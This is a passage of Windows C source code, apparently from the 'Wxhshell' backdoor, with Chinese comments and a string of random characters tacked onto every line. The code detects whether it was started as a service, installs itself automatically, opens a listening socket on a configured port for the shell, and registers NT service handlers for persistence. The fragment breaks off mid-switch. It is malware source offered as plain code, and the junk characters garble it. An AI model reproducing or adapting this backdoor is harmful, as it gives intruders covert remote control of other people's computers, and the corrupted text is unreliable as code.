DWORD AffinityMask; xR1g
DWORD BasePriority; 09x\i/nb
ULONG UniqueProcessId; ]$*N5Y
ULONG InheritedFromUniqueProcessId; NPS=?5p>
} PROCESS_BASIC_INFORMATION; (G$m}ng
4r5,kOFWb
PROCNTQSIP NtQueryInformationProcess; z':>nw
%o{vD&7\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \
2".Kb@=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (iWNvVGS
W:EXL@
HANDLE hProcess; n\cP17dr
PROCESS_BASIC_INFORMATION pbi; 88G[XkL$2
;=uHK'{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rx^pGVyg
if(NULL == hInst ) return 0; jq =-Y
AHZ6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pl"|NZz
7;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W/?D}#e<4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L<Lu;KnY6
rxDule3m
if (!NtQueryInformationProcess) return 0; 0U$6TDtmE
X.UIFcK^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (Yw5X_|
if(!hProcess) return 0; xX"?3%y>
Tmw
:w~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .s2d
N8nyTPw
CloseHandle(hProcess); DI$zyj~3
yY&(?6\{<<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~*2PmD"+:
if(hProcess==NULL) return 0; }.T$bj1B;V
(.n"
J2qj
HMODULE hMod; _$=xa6YA
char procName[255]; wkd591d*
unsigned long cbNeeded; Fg,[=CqB[
5<#H=A~(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?W(wtp,o
!J:DBtGT
CloseHandle(hProcess); OEAF.
]j{S' cz
if(strstr(procName,"services")) return 1; // 以服务启动 5T8!5EcS*
DF&C7+hO
return 0; // 注册表启动 *~:@xMa
} ;UWdT]>!?
nt5 ~"8
// 主模块 BO{J{
int StartWxhshell(LPSTR lpCmdLine) L;z-,U$;%R
{ {yG)Ii
SOCKET wsl; 8D+OF 6CM
BOOL val=TRUE; a)Wf* <B
int port=0; z5{I3 Y!1
struct sockaddr_in door; <o]tW4\(R
BtqJkdK!;1
if(wscfg.ws_autoins) Install(); qKSM*k~
r!x^P=f,MJ
port=atoi(lpCmdLine); @nZFw.
%b!p{p
if(port<=0) port=wscfg.ws_port; F_I! +
?29
KvT;#]
WSADATA data; (p2\H>pTr
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; awC&xVf
RcHyePuF)R
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6,c,i;J_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v-Br)lLv
door.sin_family = AF_INET; }%jb/@~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }_gq vgI>p
door.sin_port = htons(port); Hh
qx)u
+ S%+Ku
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +h9CcBd
closesocket(wsl); ,,G0}N@7s
return 1; U2Ur N?T
} )FHaJ*&d
R=9j+74U
if(listen(wsl,2) == INVALID_SOCKET) { Jl9T[QAJn1
closesocket(wsl); zJx<]=]
return 1; }7C{:H2d
} zg5u
Wxhshell(wsl); s!+?)bB
WSACleanup(); lI5{]?'
#2WBYScW0
return 0; 3~ZtAgih%
:X$&gsT/,
} 4XKg3l1
;N/c 5+
// 以NT服务方式启动 wvc?2~`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -m+2l`DLy
{ ^#Wf
DWORD status = 0; Hu'c)|~f
DWORD specificError = 0xfffffff; h]zx7zt-
?]7ITF
serviceStatus.dwServiceType = SERVICE_WIN32; 6f{ c
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eFeeloH?e*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \dfq&oyU\
serviceStatus.dwWin32ExitCode = 0; =a {Z7W
serviceStatus.dwServiceSpecificExitCode = 0; }`h}h<B(
serviceStatus.dwCheckPoint = 0; gB0)ec 0
serviceStatus.dwWaitHint = 0; 7)a=B! 8M
A+
f{j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *v8 ]99N
if (hServiceStatusHandle==0) return; -J[D:P.Z
C'=C^X%
status = GetLastError(); ;pU LJ}rDb
if (status!=NO_ERROR) O}KT>84M
{ Xz5=fj&
serviceStatus.dwCurrentState = SERVICE_STOPPED; W"2\vo)
serviceStatus.dwCheckPoint = 0; ),~Ca'TU
serviceStatus.dwWaitHint = 0; z.jGVF4
serviceStatus.dwWin32ExitCode = status; opIcSm&
serviceStatus.dwServiceSpecificExitCode = specificError; pw$I~3OFd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'l;?P
return; |YlUt~H>
} $[>wJXj3R
CId`6W
serviceStatus.dwCurrentState = SERVICE_RUNNING; C&;'Pw9H
serviceStatus.dwCheckPoint = 0; F^aD!O ~
serviceStatus.dwWaitHint = 0; r1=Zoxc=w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;=n7 Z
} 9:kb0oBa?l
8F@6^9C
// 处理NT服务事件,比如:启动、停止 d[S!e`,iD
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,:v}gS?Uq
{ ) Z^(+
switch(fdwControl) -9Can4
{ w6cPd'
case SERVICE_CONTROL_STOP: _ WSJg1
serviceStatus.dwWin32ExitCode = 0; X0U6:
serviceStatus.dwCurrentState = SERVICE_STOPPED; L@2H>Lh35
serviceStatus.dwCheckPoint = 0; s@q54
serviceStatus.dwWaitHint = 0; zcNV<tx
{ (nc fR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T2Vj&EA@
} F_-yT[i
return; =-q)I[4#
case SERVICE_CONTROL_PAUSE: =djzE`)0
serviceStatus.dwCurrentState = SERVICE_PAUSED; {#;6$dU;(
break; cX&c% ~
case SERVICE_CONTROL_CONTINUE: cfj6I
serviceStatus.dwCurrentState = SERVICE_RUNNING; T&S<